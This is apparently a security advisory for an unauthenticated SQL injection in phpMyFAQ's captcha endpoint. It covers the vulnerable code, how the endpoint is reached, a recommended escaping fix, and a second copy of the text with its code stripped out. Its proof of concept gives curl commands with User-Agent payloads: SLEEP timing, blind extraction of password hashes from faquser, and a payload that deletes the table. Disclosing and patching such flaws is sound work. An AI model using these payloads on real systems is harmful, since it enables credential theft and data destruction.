Summary
BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).
Details
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:
$this->userAgent = $request->headers->get('user-agent');
$this->ip = $request->getClientIp();
Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.
garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):
$delete = sprintf(
"
DELETE FROM
%sfaqcaptcha
WHERE
useragent = '%s' AND language = '%s' AND ip = '%s'",
Database::getTablePrefix(),
$this->userAgent, // unescaped
$this->configuration->getLanguage()->getLanguage(),
$this->ip, // unescaped
);
$this->configuration->getDb()->query($delete);
saveCaptcha() at line 330 does the same for INSERT:
$insert = sprintf(
"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)",
Database::getTablePrefix(),
$this->code,
$this->userAgent, // unescaped
$this->configuration->getLanguage()->getLanguage(),
$this->ip, // unescaped
$this->timestamp,
);
$this->configuration->getDb()->query($insert);
For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.
Reachability
phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:
#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]
public function renderImage(): Response
{
if (!$this->captcha instanceof BuiltinCaptcha) {
return new Response('', Response::HTTP_NOT_FOUND);
}
// ...
$response->setContent($this->captcha->getCaptchaImage());
return $response;
}
getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.
Impact surface
MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:
- Read any row the web user has access to through bit-by-bit
IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds auth_source, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials.
UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).
Proof of Concept
Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.
Step 1: Baseline request with a clean User-Agent:
time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
-A "Mozilla/5.0" \
"http://target:8090/api/captcha?nocache=1"
# HTTP 500 0.147s
Step 2: Injection with SLEEP(2) in the User-Agent:
time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \
-A "x' OR SLEEP(2) OR 'x" \
"http://target:8090/api/captcha?nocache=2"
# HTTP 500 4.093s
The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().
Step 3: Single-bit boolean extraction using time:
# leaks first character of the admin hash; 2s = 'a', 0s = otherwise
curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \
"http://target:8090/api/captcha?nocache=3"
Iterating position and character enables full credential exfiltration without any authentication.
Impact
Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.
Recommended Fix
Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:
$db = $this->configuration->getDb();
$userAgent = $db->escape($this->userAgent);
$language = $db->escape($this->configuration->getLanguage()->getLanguage());
$ip = $db->escape($this->ip);
$delete = sprintf(
"DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'",
Database::getTablePrefix(),
$userAgent,
$language,
$ip,
);
$db->query($delete);
Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE across src/phpMyFAQ/ will surface the rest.
Found by aisafe.io
References
Summary
BuiltinCaptcha::garbageCollector()andBuiltinCaptcha::saveCaptcha()atphpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298and:330interpolate theUser-Agentheader and client IP address into DELETE and INSERT queries withsprintfand no escaping. Both methods run on every hit to the publicGET /api/captchaendpoint, which requires no authentication. An unauthenticated attacker sets theUser-Agentheader to a crafted SQL payload and runsSLEEP(),BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master atb9f25109): baseline request 147 ms, request withUser-Agent: x' OR SLEEP(2) OR 'x4.09 s (twoSLEEP(2)calls, one per vulnerable sink).Details
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112populates two private fields from untrusted HTTP input at construction time:Both fields are then dropped into
sprintf()SQL templates without ever touchingDatabase::escape()or a prepared statement.garbageCollector()at line 298 (called on every captcha request viagetCaptchaImage()):saveCaptcha()at line 330 does the same for INSERT:For comparison, the same file's
checkCaptchaCode()at line 472 passes user input through$db->escape()before interpolation. TheBuiltinCaptchaauthor knew aboutescape(); the two sinks above skip it.Reachability
phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39exposes the vulnerable flow as an unauthenticated GET:getCaptchaImage()callssaveCaptcha()andgarbageCollector()unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hittingGET /api/captchainjects into two queries at once.Impact surface
MySQL's
query()method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction withSLEEP()orBENCHMARK()still works, and the attacker can:IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)chains. Thefaqusertable holdsauth_source,login, and bcrypt password hashes for every registered user;faqconfigholds themain.phpMyFAQTokenadmin token and SMTP credentials.UPDATE/DELETEarbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example,User-Agent: ' OR 1=1 --deletes the entirefaqcaptchatable and locks out legitimate users).Proof of Concept
Tested against phpMyFAQ 4.2.0-alpha at master
b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) onhttp://target:8090.Step 1: Baseline request with a clean
User-Agent:Step 2: Injection with
SLEEP(2)in the User-Agent:The 4.09 s response time equals two
SLEEP(2)executions, confirming the payload reached both theDELETEingarbageCollector()and theINSERTinsaveCaptcha().Step 3: Single-bit boolean extraction using time:
Iterating position and character enables full credential exfiltration without any authentication.
Impact
Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in
faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of/api/captcha.Recommended Fix
Route both fields through
Database::escape()before interpolation, or replace thesprintf+query()pattern with a prepared statement.phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:Apply the same change to
saveCaptcha()at line 330 and to every othersprintf-into-SQL path in the file. A targeted audit forsprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETEacrosssrc/phpMyFAQ/will surface the rest.Found by aisafe.io
References